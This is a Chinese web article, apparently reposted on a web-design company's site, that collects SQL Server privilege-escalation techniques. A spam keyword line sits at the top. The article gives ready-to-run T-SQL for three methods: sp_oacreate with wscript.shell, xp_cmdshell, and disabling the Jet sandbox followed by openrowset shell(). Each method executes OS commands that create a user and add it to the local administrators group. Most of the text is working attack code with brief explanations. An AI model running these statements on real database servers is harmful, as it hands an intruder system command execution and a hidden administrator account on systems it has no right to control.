真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

SQLServer提權(quán)方法匯總(MSSQL)

使用sp_oacreate進(jìn)行提權(quán)

創(chuàng)新互聯(lián)公司服務(wù)項(xiàng)目包括四子王網(wǎng)站建設(shè)、四子王網(wǎng)站制作、四子王網(wǎng)頁制作以及四子王網(wǎng)絡(luò)營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,四子王網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到四子王省份的部分城市,未來相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

--提權(quán)語句--sp_configure的作用是顯示或更改當(dāng)前服務(wù)器的全局配置設(shè)置,執(zhí)行成功返回0,失敗返回1

EXEC sp_configure'show advanced options',1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure'Ole Automation Procedures',1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate調(diào)用wscript.shell組件,將返回的對(duì)象存儲(chǔ)到@shell變量中。

exec sp_oacreate'wscript.shell',@shell output

--使用sp_oamethod 調(diào)用@shell對(duì)象中的Run方法,執(zhí)行添加用戶的命令,null是run方法的返回值,我們不需要用返回值,所以寫null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate'wscript.shell',@shell output

--使用sp_oamethod 調(diào)用@shell對(duì)象中的Run方法,執(zhí)行添加用戶的命令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢復(fù)語句EXEC

sp_configure'Ole Automation Procedures',0;

RECONFIGURE;

EXEC sp_configure'show advanced options',0;

RECONFIGURE;

以上是使用sp_oacreate的提權(quán)語句,主要是用來調(diào)用OLE對(duì)象(Object Linking and Embedding的縮寫,VB中的OLE對(duì)象),利用OLE對(duì)象的run方法執(zhí)行系統(tǒng)命令。在oacreate的官方文檔里明確指出了,如果要使用OLE對(duì)象,必須要開啟'Ole Automation Procedures',也就是EXEC sp_configure'Ole Automation Procedures',1;執(zhí)行這條語句前要執(zhí)行EXEC sp_configure'show advanced options',1;官方對(duì)這句話的解釋是:show advanced options,“顯示高級(jí)選項(xiàng)”選項(xiàng)用來顯示 sp_configure 系統(tǒng)存儲(chǔ)過程高級(jí)選項(xiàng)。 當(dāng)“顯示高級(jí)選項(xiàng)” 設(shè)置為 1 時(shí),可以使用 sp_configure 列出高級(jí)選項(xiàng)。 默認(rèn)值為 0。

使用xp_cmdshell進(jìn)行提權(quán)

--提權(quán)語句

exec sp_configure 'showadvanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --開啟CMDshell

-- master..xp_cmdshell的全寫是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'netusermarginmargin /add';

exec master..xp_cmdshell 'net localgroup administratorsmargin /add';

--恢復(fù)語句EXEC

sp_configure'show advanced options',0;

RECONFIGURE;

使用沙盒進(jìn)行提權(quán)

--提權(quán)語句

exec sp_configure 'showadvanced options',1;reconfigure;

--不開啟的話在執(zhí)行xp_regwrite會(huì)提示讓我們開啟,

exec sp_configure 'Ad HocDistributed Queries',1;reconfigure;

--關(guān)閉沙盒模式,如果一次執(zhí)行全部代碼有問題,先執(zhí)行上面兩句代碼。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查詢是否正常關(guān)閉,經(jīng)過測(cè)試發(fā)現(xiàn)沙盒模式無論是開,還是關(guān),都不會(huì)影響我們執(zhí)行下面的語句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--執(zhí)行系統(tǒng)命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode參數(shù)含義(默認(rèn)是2)

`0`:在任何所有者中禁止啟用安全模式

`1` :為僅在允許范圍內(nèi)

`2` :必須在access模式下

`3`:完全開啟

openrowset是可以通過OLE DB訪問SQL Server數(shù)據(jù)庫,OLE DB是應(yīng)用程序鏈接到SQL Server的的驅(qū)動(dòng)程序。

--恢復(fù)配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad HocDistributed Queries',0;reconfigure;

--exec sp_configure 'showadvanced options',0;reconfigure;

SQL Server官方參考文檔

sp_configure的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文檔:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文檔:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文檔:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017


分享名稱:SQLServer提權(quán)方法匯總(MSSQL)
網(wǎng)站鏈接:http://weahome.cn/article/pjiocp.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部